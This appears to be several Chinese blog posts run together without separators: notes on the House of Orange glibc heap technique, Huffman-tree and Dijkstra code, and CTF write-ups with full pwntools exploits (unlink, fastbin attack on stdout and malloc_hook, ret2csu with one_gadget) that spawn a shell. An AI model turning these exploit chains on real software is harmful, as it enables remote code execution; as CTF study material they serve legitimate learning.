参考来源: https://wiki.x10sec.org/pwn/heap/house_of_orange/
(这里总结一下做个笔记)

0x00 背景

少数情况下不能直接控制free函数释放掉想要的堆块获得unsorted_chunk,需要用一种其它的方式获得一个unsorted_chunk,House Of Orange正是一种不用控制free从而获得释放堆块的堆利用技巧

使用条件

  1. 需要能够通过堆溢出或者其它什么方式,间接或直接控制Top Chunk的size域,改变其大小。
  2. 可以使用malloc请求分配自定义大小的堆块。

0x01 原理

触发条件

在分配新堆块时,_int_malloc依次检查 fastbin、small bins、unsorted bin、large bins是否可以满足分配要求,如果都不符合,将尝试从现有Top Chunk中分配。如果还不符合,那么ptmalloc就不再继续作用,而是使用sysmalloc向系统申请内存到用户区域。此时2原有的Top Chunk将会被置入unsorted_bin。

限制条件

该方法对修改Top Chunk的size域的值有一定的限制

源码:

if ((unsigned long)(nb) >= (unsigned long)(mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));

将这些限制总结起来就是:

分配大小限制:

  • 分配的chunk大小小于128K(此时将使用brk拓展堆,否则将使用mmap)
  • 分配的chunk大小应大于被修改后的Top Chunk大小减去 fencepost的大小

Top Chunk的size大小限制:

  • 伪造的size必须要对齐到内存页 (堆块末尾地址16进制表示时后三位为0)
  • size要大于MINSIZE(0x10)
  • size要小于之后申请的chunk size + MINSIZE(0x10)
  • size的prev inuse位必须为1

0x02 示例分析

示例

//example.cpp
//gcc example.cpp -g -o example;chmod +x example
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#define fake_size 0x1fe1

int main(void)
{
    void *ptr;

    ptr=malloc(0x10);
    ptr=(void *)((long long int)ptr+0x18);

    *((long long*)ptr)=fake_size;

    malloc(0x2000); //into unsorted_bin
    malloc(0x60);
}

相对于ctfwiki上的原文稍作了修改

接着用pwndbg调试

分析

初始状态:

0x602000           0x623000 rw-p    21000 0      [heap]

0x602000 FASTBIN { <-最开始分配的,为了完成堆的初始化
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x20fe1
}
0x602020 PREV_INUSE { <-最开始的Top Chunk
  prev_size = 0, 
  size = 135137, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

修改Fake Size

pwndbg> heap
0x602000 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x1fe1
}
0x602020 PREV_INUSE { <-size已经被修改
  prev_size = 0, 
  size = 8161, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x604000 {
  prev_size = 0, 
  size = 0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

malloc(0x2000) 之后

0x602000 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x1fc1
}
0x602020 PREV_INUSE { <-通过观察fd,bk发现原来的top chunk已经进入unsorted_bin
  prev_size = 0, 
  size = 8129, 
  fd = 0x7ffff7dd1b78 <main_arena+88>, 
  bk = 0x7ffff7dd1b78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603fe0 {
  prev_size = 8128, 
  size = 16, 
  fd = 0x0, 
  bk = 0x11, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603ff0 PREV_INUSE {
  prev_size = 0, 
  size = 17, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x604000 {
  prev_size = 0, 
  size = 0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

0x602000           0x646000 rw-p    44000 0      [heap]
//堆地址相比于之前扩大了

malloc(0x60) 之后

pwndbg> heap
0x602000 FASTBIN {
  prev_size = 0, 
  size = 33, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x71
}
0x602020 FASTBIN { <-从unsorted_bin中分割出来的chunk
  prev_size = 0, 
  size = 113, 
  fd = 0x7ffff7dd2208 <main_arena+1768>, 
  bk = 0x7ffff7dd2208 <main_arena+1768>, 
  fd_nextsize = 0x602020, 
  bk_nextsize = 0x602020
}
0x602090 PREV_INUSE {
  prev_size = 0, 
  size = 8017, 
  fd = 0x7ffff7dd1b78 <main_arena+88>, 
  bk = 0x7ffff7dd1b78 <main_arena+88>, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603fe0 {
  prev_size = 8016, 
  size = 16, 
  fd = 0x0, 
  bk = 0x11, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x603ff0 PREV_INUSE {
  prev_size = 0, 
  size = 17, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x604000 {
  prev_size = 0, 
  size = 0, 
  fd = 0x0, 
  bk = 0x0, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

0x03

这类利用一般是为了创造条件,比如结合IO_FILE进行下一步的攻击

离散数学课本最后一章有讲到这一种“近大远小”的数据结构哈夫曼树,这种数据结构是实现哈夫曼编码的基础,书上讲得比较抽象于是尝试用C++简单的实现一下。

0x00 前提

在这看到了一个比较通俗易懂的解释:

https://baijiahao.baidu.com/s?id=1663514710675419737&wfr=spider&for=pc

主要就是通过一个优先队列+树的结构来实现的,之前没用过STL里面的优先队列,因为需要将元素设置为自定义类型的指针,所以需要写一个比较函数来实现升序排列( priority_queue 默认是降序排列)。

如下:

struct compareNode{ //重写仿函数
	bool operator()(Node *&a, Node *&b) const
	{
		return a->weight > b->weight;//小顶堆
	}
};
priority_queue<Node*,vector<Node*>,compareNode> nodeQueue; //升序

0x01 代码实现

#include<cstdio>
#include<cstring>
#include<unistd.h>
#include<iostream>
#include<queue>
using namespace std;

#define MAXINPUT 64
#define raiseError(errMsg) write(2,errMsg,strlen(errMsg));exit(-1);
/*初始化一个新节点*/
#define initNewNode(ptr) ptr=(Node*)malloc(sizeof(Node));\
    if(ptr==NULL){raiseError("Malloc error!");}         \ 
    ptr->weight=-1;                                     \
    ptr->father=NULL;                                   \
    ptr->left=NULL;                                     \
    ptr->right=NULL;
/*生成父节点*/                                        
#define getNewFatherNode(father,leftPtr,rightPtr) initNewNode(father);\
    father->weight = leftPtr->weight + rightPtr->weight;    \
    father->left = leftPtr; father->right = rightPtr;       \
    leftPtr->father = father; rightPtr->father = father;

struct Node{
    int weight;
    struct Node *father;
    struct Node *left;
    struct Node *right;
    bool operator < (const Node &v) const{ 
        return weight > v.weight;   
    }
};
struct compareNode{
	bool operator()(Node *&a, Node *&b) const
	{
		return a->weight > b->weight; //小顶堆
	}
};
priority_queue<Node*,vector<Node*>,compareNode> nodeQueue; //升序

Node *currRoot=NULL;

void initNodeQueue(int *input,int len){ //初始化叶子节点队列
    Node *tmp=NULL;
    for(int i=0;i<len;i++){
        initNewNode(tmp);
        tmp->weight=input[i];
        nodeQueue.push(tmp);
        //printf("%d\n",tmp->weight);
    }
}

Node *huffmanTree(){ //构造哈夫曼树
    Node *leftPtr=NULL,*rightPtr=NULL;
    Node *father=NULL;
    while(nodeQueue.size()>1){
        leftPtr = nodeQueue.top(); nodeQueue.pop();
        rightPtr = nodeQueue.top(); nodeQueue.pop();
        getNewFatherNode(father,leftPtr,rightPtr);
        currRoot = father;
        nodeQueue.push(father);
    }
    return currRoot;
}

int main(int argc,char **argv){
    int input[MAXINPUT]={0};
    int j=0,len=0;
    scanf("%d",&len); //读取叶子节点个数
    len=len<MAXINPUT?len:MAXINPUT;
    for(int i=0;i<len;i++){
        scanf("%d",&input[i]); //读取叶子节点的权
    }
    initNodeQueue(input,len);
    huffmanTree();
    printf("Root weight: %d\n",currRoot->weight);
    return 0;
}

直接用shellcode解的方法比较容易,但是另一种攻击stdout泄露地址的方法更为巧妙

0x00 预期解,使用shellcode

思路:

  • 拿到mmap的地址,以及程序基地址
  • 构造unlink拿到bss段上的控制权
  • 往mmap段(rwx权限)写入shellcode
  • 在bss上构造fake chunk后free掉,拿到unsorted_bin_arena改写为malloc_hook
  • 写malloc_hook为mmap的地址

踩坑:

  • 第0个堆块大小没分配够导致后面写的能力不够,小问题
  • 第1的堆块大小没弄对,因为要保证通过检测的情况下,利用off_by_null修改第一个字节,第1个堆块只能申请为0xf8或者0xf0(p->size为0×101,offbynull后为0×100)
  • 最后free fake_chunk的时候报错,发现因为我只在fake_chunk后面构造了一个0×21的chunk,导致free后的chunk与该chunk发生合并,检测出错。于是再增加一个0×21的chunk阻止合并即可。

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"
context.arch = "amd64"

def alloc(size:int):
    p.recvuntil(">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(">> ")
    p.sendline(b"3")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())
    p.recvuntil("Content: ")
    p.sendline(content)

def exp():
    p.recvuntil(b"Mmap: ")
    # leak addr
    mmap_addr = int(p.recvuntil('\n',drop=True),16)
    print("mmap_addr:",hex(mmap_addr))
    alloc(0xf8) #idx0
    p.recvuntil(b"chunk at [0] Pointer Address ")
    p_base = int(p.recvuntil('\n',drop=True),16) - 0x202068
    print("p_base:",hex(p_base))
    
    # unlink
    alloc(0xf8) #idx1 
    alloc(0x20) #idx2
    target = p_base + 0x202068
    fd = target - 0x18
    bk = target - 0x10
    payload1 = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0) + b"a"*0xc0 + p64(0xf0)
    fill(0,payload1)
    #gdb.attach(p)
    delete(1)
    #gdb.attach(p)
    
    # write shellcode to mmap_addr
    payload2 = p64(0)*2 + p64(0xf8) + p64(p_base + 0x202060 + 0x18) + p64(0x140)
    payload2 += p64(mmap_addr)
    fill(0,payload2)
    fill(1,asm(shellcraft.sh())) #
    
    # get malloc_hook_addr
    payload3 = p64(p_base + 0x202060 + 0x30) + p64(0x20) + p64(0x91) + b"a"*0x88
    payload3 += p64(0x21) + b"a"*0x18 + p64(0x21) # be careful
    fill(0,payload3)
    #gdb.attach(p)
    delete(1) # free fake_chunk
    fill(0,p64(0)*3 + p64(0x20) + b"\x10")
    fill(3,p64(mmap_addr))
    alloc(0x20)
    
    # get_shell
    p.interactive()

if __name__ == "__main__":
    exp()

0x01 攻击stdout的方法

思路

  • 构造overlapping
  • fastbin attack拿到stdout写,获得libc_base
  • fastbin attack攻击malloc hook

细节标注在exp的注释中

exp

from pwn import *

p = process("./easyheap")
elf = ELF("./easyheap")
libc = ELF("./libc.so.6")

context.log_level = "debug"

def alloc(size:int):
    p.recvuntil(b">> ")
    p.sendline(b"1")
    p.recvuntil("Size: ")
    p.sendline(str(size).encode())
    
def delete(index:int):
    p.recvuntil(b">> ")
    p.sendline(b"2")
    p.recvuntil("Index: ")
    p.sendline(str(index).encode())

def fill(index:int,content):
    p.recvuntil(b">> ")
    p.sendline(b"3")
    p.recvuntil(b"Index: ")
    p.sendline(str(index).encode())
    p.recvuntil(b"Content: ")
    p.sendline(content)

#IO_FILE
def exp():
    #构造overlapping
    alloc(0x88) #idx0
    alloc(0x68) #idx1
    alloc(0xf8) #idx2
    alloc(0x10) #idx3 
    delete(0)
    payload1 = b"a"*0x60 + p64(0x100)
    fill(1,payload1)
    delete(2) # unlink&overlapping
    delete(1)
    #gdb.attach(p)
    
    #让中间的fast chunk出现unsorted arena的地址,便于部分写后跳转到stdout附近的fakechunk
    alloc(0x88) #idx0
    delete(0)
    
    #攻击stdout
    alloc(0x100) #idx0 用于控制中间的fastchunk
    payload2 = b"a"*0x80 + p64(0x90) + p64(0x71) + b"\xdd\x25"  #fakechunk offset
    fill(0,payload2)
    alloc(0x68) #idx1
    alloc(0x68) #idx2 stdout fakechunk
    #payload3最后的\x00是覆盖了char* _IO_write_base的低位,控制输出的起始位置
    payload3 = b"\x00"*0x33 + p64(0xfbad1800) + p64(0)*3 + b"\x00"  
    fill(2,payload3)
    
    #获取输出并计算libc_base和一些必要地址
    base_offset = 0x3C56A4
    malloc_hook_fakechunk_offset = 0x3C4AED
    realloc_offset = 0x846c0
    one_gadget_offset = 0xf1147
    p.recv(0x48)
    libc_base = u64(p.recv(8)) - base_offset
    malloc_hook_fakechunk = libc_base + malloc_hook_fakechunk_offset
    realloc = libc_base + realloc_offset
    one_gadget = libc_base + one_gadget_offset
    print("libc base:",hex(libc_base))
    print("malloc_hook_fakechunk:",hex(malloc_hook_fakechunk))
    print("realloc:",hex(realloc))
    print("one_gadget:",hex(one_gadget))
    
    #利用fastbin attack分配fake chunk到malloc hook附近
    delete(1) #修复fastbin,否则无法进行fastbin attack

    payload4 = b"a"*0x80 + p64(0x90) + p64(0x71) + p64(malloc_hook_fakechunk) #fakechunk addr
    fill(0,payload4)
    alloc(0x68) #idx1
    alloc(0x68) #idx4 malloc_hook_fakechunk
    
    #malloc_hook to one_gadget
    #直接malloc_hook->gadget无法getshell,尝试先跳到realloc调整栈
    payload5 = b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc)
    fill(4,payload5)
    alloc(0x10)

    #跑几次脚本看运气弹shell
    p.interactive()
    

if __name__ == "__main__":
    exp()

离散课上图论的时候讲了理论知识,但是还没实践过,于是拿python写了一下,顺便做个笔记防止忘记。

python自带的数据结构比较丰富,写起来的确顺滑很多,太香了md

mymap = {
    1:{1:0,3:10,5:30,6:100},
    2:{2:0,3:5},
    3:{3:0,4:50},
    4:{4:0,6:10},
    5:{4:20,5:0,6:60},
    6:{6:0}
}
max_len = 1000000

T = set() #完成最短路搜索的点集
dis = {} #起始点到其它点的距离,初始化无穷
for i in mymap.keys(): #把max_len视作无穷大
    dis[i] = max_len

start = int(input("strat:"))
end = int(input("end:"))
dis[start] = 0 #初始化源点

def get_min_key(dis:dict): #检索出T集合外的最短路
    _min_k = 0
    _min_v = max_len
    for i in dis.keys():
        if dis[i]<=_min_v and i not in T:
            _min_k = i
            _min_v = dis[i]
    return _min_k

def dijkstra(end):
    while len(T)<len(mymap): #当所有点的最短路找到后结束循环
        _min_k = get_min_key(dis)
        T.add(_min_k) #取出T集合外dis的最小值做最短路
        '''到下一个点的最短路就是一条最短路,因为如果有两条路的权加起来更短,则第一条路就要是最短的'''
        for i in mymap[_min_k].keys(): #遍历该点所有相邻点找更短路
            if dis[_min_k] + mymap[_min_k][i] < dis[i] and i not in T: #有更短路则更新当前dis
                dis[i] = dis[_min_k] + mymap[_min_k][i]
    print(dis[end]) if dis[end]!=max_len else print("+∞")

dijkstra(end)

本质上是个很简单的pwn,但是开头对payload的异或运算破坏了payload结构,于是一直想着怎么构造payload,忽略了一个绕过技巧。

0x00

题目本身不复杂,可以操作的就是一个加密功能,gets读取输入的内容并做异或加密后输出。存在溢出,但是payload结构会被破坏。

关键代码:

int encrypt()
{
  size_t index; // rbx
  char s[48]; // [rsp+0h] [rbp-50h]
  __int16 v3; // [rsp+30h] [rbp-20h]

  memset(s, 0, sizeof(s));
  v3 = 0;
  puts("Input your Plaintext to be encrypted");
  gets(s);
  while ( 1 )
  {
    index = (unsigned int)x;    // 只要在payload放置一个\x00就可以绕过了(strlen和strcmp的通病)
    if ( index >= strlen(s) )
      break;
    if ( s[x] <= 96 || s[x] > 122 )
    {
      if ( s[x] <= 64 || s[x] > 90 )
      {
        if ( s[x] > 47 && s[x] <= 57 )
          s[x] ^= 0xFu;
      }
      else
      {
        s[x] ^= 0xEu;
      }
    }
    else
    {
      s[x] ^= 0xDu;
    }
    ++x;
  }
  puts("Ciphertext");
  return puts(s);
}

可以发现,gets读取输入内容进入while循环之后是由strlen检查长度。经过试验发现gets在回车处结束而\x00可以被正常读入,但是strlen是从字符串开头检测到第一个\x00截断,所以只要在payload的开头置0让strlen判断错误就可以避免对payload的破坏。

往下就是简单的ret2csu+one_gadget,值得注意的是ubuntu18的平台栈老是存在玄学栈对齐问题,要注意多试试用ret gadget 去对齐栈使得程序正常运行。

0x01 完整exp

from pwn import *

#p = process("ciscn_2019_c_1")
p = remote("node3.buuoj.cn",28487)
elf = ELF("ciscn_2019_c_1")
#libc = ELF("libc.so.6")
libc = ELF("libc2.27.so")

context.log_level = "debug"

main = 0x400B28

gadget_1 = 0x400C7A
gadget_2 = 0x400C60

puts_got=elf.got[b"puts"]
onegadget_offset = 0x10a38c
ret = 0x4006b9

offset = 80+8
payload1 = b"a"*(offset-1) + p64(gadget_1) + p64(0) + p64(1) + p64(puts_got) + p64(0) + p64(0) + p64(puts_got)
payload1+= p64(gadget_2) + b"a"*56 + p64(ret)+ p64(ret)+p64(main)
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(b"\x00"+payload1)

p.recv(12)
puts = u64(p.recv(6).ljust(8,b"\x00"))
onegadget = onegadget_offset - libc.symbols[b"puts"] + puts
print("puts:",hex(puts))
print("onegadget:",hex(onegadget))

payload2 = b"a"*(offset-1)  + p64(ret)+ p64(ret)+ p64(ret)+p64(onegadget)
p.recvuntil(b"Input your choice!\n")
p.sendline(b"1")
p.recvuntil(b"Input your Plaintext to be encrypted\n")
p.sendline(b"\x00"+payload2)

p.interactive()